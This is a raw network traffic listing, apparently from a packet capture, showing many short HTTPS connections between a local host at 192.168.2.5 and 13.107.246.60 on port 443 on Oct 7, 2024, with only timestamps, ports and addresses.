Oct 7, 2024 13:26:56.637123108 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.637182951 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.655045986 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.655093908 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.655174971 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.655364037 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.655390024 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.655405045 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.655411005 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.656435966 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.656462908 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.658127069 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.658175945 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.658252954 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.658560038 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.658574104 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.727586985 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.728475094 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.728497982 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.728982925 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.728988886 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.787621021 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.788384914 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.788408995 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.788908005 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.788917065 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.827033043 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.827477932 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.827569962 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.827635050 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.827655077 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.827667952 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.827673912 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.830705881 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.830733061 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.830815077 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.830980062 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.830988884 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.892554045 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.892652035 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.892755032 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.892968893 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.892988920 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.893002987 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.893009901 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.896224976 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.896272898 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.896352053 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.896517038 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.896528006 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.088426113 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.089935064 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.089962006 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.090704918 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.090709925 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.188241005 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.188282967 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.188324928 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.188339949 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.188371897 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.188766956 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.188786983 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.188800097 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.188806057 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.193726063 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.193758011 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.193825960 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.194458961 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.194470882 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.304826975 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.316801071 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.323636055 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.323673010 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.324644089 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.324657917 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.324955940 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.324968100 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.325540066 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.325544119 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.421371937 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.421567917 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.421752930 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.422066927 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.422066927 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.422113895 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.422142029 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.424025059 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.424245119 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.424336910 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.425425053 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.425468922 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.425533056 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.425642967 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.425659895 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.425672054 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.425678015 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.426562071 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.426572084 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.428114891 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.428149939 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.428224087 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.428348064 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.428363085 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.496974945 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.498347044 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.498358965 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.498864889 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.498869896 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.532450914 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.533010960 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.533039093 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.533519030 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.533525944 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.596182108 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.596379042 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.601882935 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.601936102 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.601949930 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.601962090 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.601965904 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.605021000 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.605056047 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.605117083 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.605412960 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.605426073 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.632361889 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.632411957 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.632524967 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.632610083 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.632694006 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.632711887 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.632721901 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.632728100 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.635117054 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.635157108 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.635232925 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.635371923 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.635390043 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.831629992 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.832405090 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.832426071 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.832962036 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.832967043 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.932665110 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.932714939 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.932760000 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.932801962 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.932852983 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.933180094 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.933202028 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.933212996 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.933218956 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.936870098 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.936948061 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:57.937064886 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.937295914 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:57.937313080 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.072679043 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.074570894 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.074598074 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.075093985 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.075100899 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.102066994 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.102648973 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.102667093 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.103169918 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.103173971 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.173387051 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.173474073 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.173543930 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.173567057 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.173580885 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.173640013 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.173969984 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.173990011 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.173998117 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.174004078 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.177649021 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.177696943 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.177762985 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.177956104 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.177973032 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.210047007 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.210206985 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.210284948 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.210660934 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.210679054 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.210690022 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.210695028 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.214099884 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.214162111 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.214247942 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.214449883 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.214464903 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.268757105 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.269805908 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.269819975 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.270328045 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.270333052 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.302026033 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.302644014 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.302659035 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.303469896 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.303476095 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.371742010 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.371929884 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.371980906 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.372004986 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.372056961 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.372117043 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.372302055 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.372320890 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.372329950 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.372335911 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.375838041 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.375875950 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.375951052 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.376228094 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.376244068 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.405174017 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.405297041 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.405349970 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.405525923 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.405546904 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.405558109 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.405564070 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.409028053 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.409069061 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.409137011 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.409281015 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.409295082 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.601953983 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.602813959 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.602855921 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.603569031 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.603574038 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.712244987 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.712261915 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.712315083 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.712335110 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.712388039 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.712660074 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.712678909 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.717844963 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.717883110 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.718077898 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.718411922 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.718432903 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.812508106 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.813188076 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.813232899 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.813884020 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.813890934 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.850039005 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.850581884 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.850613117 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.851075888 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.851080894 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.926650047 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.926708937 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.926767111 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.926778078 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.926824093 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.927151918 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.927172899 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.927186966 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.927192926 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.931097984 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.931137085 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.931221962 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.931380033 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.931395054 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.948462009 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.948719025 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.948771000 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.948792934 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.948846102 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.949065924 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.949091911 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.949104071 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.949110031 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.953839064 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.953857899 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:58.954123974 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.954124928 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:58.954149008 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.015815973 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.016663074 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.016690016 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.017332077 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.017339945 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.082608938 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.083275080 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.083312035 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.083784103 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.083789110 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.113704920 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.113812923 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.113873959 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.114111900 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.114135027 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.114145994 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.114151955 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.118001938 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.118042946 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.118129969 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.118319035 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.118330956 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.187592030 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.187669992 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.187736034 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.188087940 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.188107967 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.188123941 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.188129902 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.192435980 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.192471981 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.192548990 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.192919016 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.192929983 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.351326942 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.352058887 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.352077007 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.352572918 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.352577925 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.449774981 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.450036049 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.450124979 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.450233936 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.450257063 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.450269938 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.450275898 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.454456091 CEST	49877	443	192.168.2.5	13.107.246.60
